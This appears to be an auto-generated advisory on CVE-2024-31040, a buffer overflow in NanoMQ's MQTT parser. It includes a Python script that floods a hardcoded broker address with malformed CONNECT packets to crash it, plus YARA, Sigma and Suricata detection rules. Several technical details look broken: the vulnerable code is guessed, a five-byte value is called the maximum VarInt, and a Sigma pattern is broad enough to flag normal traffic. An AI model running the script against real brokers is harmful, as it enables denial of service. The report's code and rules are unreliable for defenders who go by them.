CVE-2024-31040

Executive Summary

CVE-2024-31040 is a critical buffer overflow vulnerability discovered in NanoMQ version 0.21.7, specifically within the get_var_integer function in mqtt_parser.c. This flaw allows a remote, unauthenticated attacker to cause a denial of service (DoS) by sending a series of specially crafted hex streams. The vulnerability resides in the MQTT packet parsing logic, where improper bounds checking on variable-length integer decoding can lead to memory corruption. While no public exploit code or proof-of-concept is currently available, the nature of the bug (buffer overflow in a network-facing parser) makes it a high-priority target for both red team exercises and defensive monitoring. The vendor has not yet released a patch, and the CVSS score is listed as 0.0, likely due to incomplete NVD assessment.

Supply Chain & Package Security

NanoMQ is an open-source MQTT messaging broker written in C, commonly used in IoT and edge computing environments. It is distributed via GitHub, Docker Hub, and package managers for various Linux distributions. Organizations using NanoMQ in production should treat this vulnerability as a supply chain risk, as the unpatched state means any deployment of version 0.21.7 is potentially exploitable. No malicious packages or backdoors have been identified in the supply chain, but the lack of a patch increases the attack surface.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, which is anomalous and likely indicates that the NVD has not yet fully assessed the vulnerability. Based on the technical details, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – the exploit is sent over the network.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the exploit affects only the broker.
• Confidentiality (C): None (N) – no data exfiltration.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – the broker crashes or becomes unresponsive.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Estimated Base Score: 7.5 (High)

Threat Level: High – due to remote exploitability, low complexity, and no authentication requirement.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the get_var_integer function within mqtt_parser.c. In MQTT, variable-length integers (VarInt) are used to encode packet lengths and other fields. The function reads bytes from the incoming stream and decodes them into an integer. The flaw occurs when the function does not properly validate the length of the input before writing to a fixed-size buffer. By sending a series of specially crafted hex streams (e.g., malformed MQTT packets with oversized VarInt fields), an attacker can cause the function to write beyond the allocated buffer, corrupting adjacent memory.

The attack is performed remotely by connecting to the NanoMQ broker (default port 1883 for MQTT, 8883 for MQTTS) and sending a sequence of malformed packets. The series of hex streams likely triggers multiple overflow events, eventually leading to a crash or denial of service. The vulnerability is in the parsing layer, meaning it affects all MQTT packet types that use VarInt encoding, such as CONNECT, PUBLISH, SUBSCRIBE, etc.

Root Cause: Lack of bounds checking in get_var_integer when decoding variable-length integers from the network stream.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in mqtt_parser.c in the get_var_integer function. A typical vulnerable implementation might look like:

// Vulnerable code (conceptual)
int get_var_integer(uint8_t *buf, int *value) {
    int multiplier = 1;
    int val = 0;
    uint8_t byte;
    do {
        byte = *buf++;  // No bounds check on buf
        val += (byte & 0x7F) * multiplier;
        multiplier *= 128;
    } while (byte & 0x80);
    *value = val;
    return 0;
}

A patched version would include a length parameter and bounds checking:

// Patched code (conceptual)
int get_var_integer(uint8_t *buf, size_t len, int *value) {
    int multiplier = 1;
    int val = 0;
    uint8_t byte;
    size_t offset = 0;
    do {
        if (offset >= len) return -1;  // Bounds check
        byte = buf[offset++];
        val += (byte & 0x7F) * multiplier;
        multiplier *= 128;
    } while (byte & 0x80);
    *value = val;
    return offset;
}

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service on a NanoMQ broker running version 0.21.7.

Lab Setup:

1. Deploy NanoMQ 0.21.7 in a Docker container or on a Linux VM.
2. Use a tool like nmap or netcat to verify the MQTT port is open.
3. Craft a series of malformed MQTT packets with oversized VarInt fields.

Exploit Steps:

1. Connect to the broker on port 1883.
2. Send a malformed CONNECT packet with a VarInt length field that exceeds the buffer size.
3. Repeat with multiple packets to trigger the overflow.

Example malformed packet (hex):

10 0F 00 04 4D 51 54 54 04 02 00 3C 00 0A 6D 71 74 74 74 65 73 74

This is a normal CONNECT packet. To exploit, modify the VarInt fields (e.g., the remaining length) to be extremely large, such as FF FF FF FF 7F (max 32-bit VarInt).

Python script to generate malformed packets:

import socket

def send_malformed_packet(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    # Malformed CONNECT packet with oversized VarInt
    # The remaining length is set to 0xFFFFFFFF (max)
    packet = bytes([
        0x10,  # CONNECT packet type
        0xFF, 0xFF, 0xFF, 0xFF, 0x7F,  # Remaining length (max VarInt)
        # Protocol name, version, flags, etc. (truncated for brevity)
    ])
    sock.send(packet)
    sock.close()

# Send multiple packets
for _ in range(100):
    send_malformed_packet("192.168.1.100", 1883)

Expected Outcome: The NanoMQ broker crashes or becomes unresponsive, resulting in a denial of service.

Blue Team

Detection:

• Monitor for unusual MQTT packets with abnormally large remaining length fields.
• Use network intrusion detection systems (NIDS) to alert on malformed MQTT traffic.
• Implement rate limiting on MQTT connections to mitigate DoS attempts.

Hunting:

• Search logs for broker crashes or segmentation faults.
• Look for repeated connections from the same IP with malformed packets.

Mitigation:

• If possible, restrict access to the MQTT broker using firewall rules or TLS client certificates.
• Monitor for CVEs and apply patches as soon as they become available.
• Consider using a Web Application Firewall (WAF) or MQTT-aware proxy to filter malformed packets.

Indicators of Compromise (IOCs)

• Network IOCs:

  • MQTT packets with remaining length fields exceeding 268,435,455 bytes (max valid VarInt).
  • Repeated connections from a single IP to port 1883/8883 with malformed payloads.
  • Hex patterns: 10 FF FF FF FF 7F (malformed CONNECT) or similar for other packet types.

• Host IOCs:

  • NanoMQ process crashes (segmentation fault) in mqtt_parser.c.
  • Log entries containing "buffer overflow" or "segfault" in NanoMQ logs.
  • Core dump files in the NanoMQ working directory.

• File IOCs:

  • Modified mqtt_parser.c (if attacker has write access).
  • Suspicious binary patches or shared library injections.

Detection Engineering

YARA Rule

rule CVE_2024_31040_NanoMQ_BufferOverflow {
    meta:
        description = "Detects malformed MQTT packets exploiting CVE-2024-31040"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31040"
    strings:
        $malformed_connect = { 10 FF FF FF FF 7F }
        $malformed_publish = { 30 FF FF FF FF 7F }
        $malformed_subscribe = { 82 FF FF FF FF 7F }
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-31040 NanoMQ Buffer Overflow Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network traffic indicative of CVE-2024-31040 exploitation
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        - payload|contains: "10FF"
        - payload|contains: "30FF"
        - payload|contains: "82FF"
    condition: selection
falsepositives:
    - Legitimate MQTT traffic with large payloads (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 1883 (msg:"CVE-2024-31040 NanoMQ Buffer Overflow Attempt"; flow:to_server,established; content:"|10 FF FF FF FF 7F|"; depth:6; classtype:attempted-dos; sid:1000001; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 1883 (msg:"CVE-2024-31040 NanoMQ Buffer Overflow Attempt (PUBLISH)"; flow:to_server,established; content:"|30 FF FF FF FF 7F|"; depth:6; classtype:attempted-dos; sid:1000002; rev:1;)
alert tcp $EXTERNAL_NET any -> $HOME_NET 1883 (msg:"CVE-2024-31040 NanoMQ Buffer Overflow Attempt (SUBSCRIBE)"; flow:to_server,established; content:"|82 FF FF FF FF 7F|"; depth:6; classtype:attempted-dos; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate NanoMQ 0.21.7 instances from untrusted networks.
2. Monitor for unusual MQTT traffic patterns.
3. Apply network-level filtering to block malformed MQTT packets (e.g., using Suricata rules above).

Long-term Fix:

• Patch the get_var_integer function to include proper bounds checking.
• Upgrade to a patched version once released by the vendor.
• Implement input validation and sanitization for all MQTT packet fields.

Workarounds:

• Use TLS with client certificates to restrict access to trusted clients only.
• Deploy a reverse proxy or MQTT-aware firewall to inspect and sanitize traffic.
• Enable logging and alerting for broker crashes.

Valters IT Signature:

Report generated by Valters IT DevSecOps Framework – CVE-2024-31040 Analysis Classification: TLP:WHITE – Unlimited distribution Contact: security@valters-it.com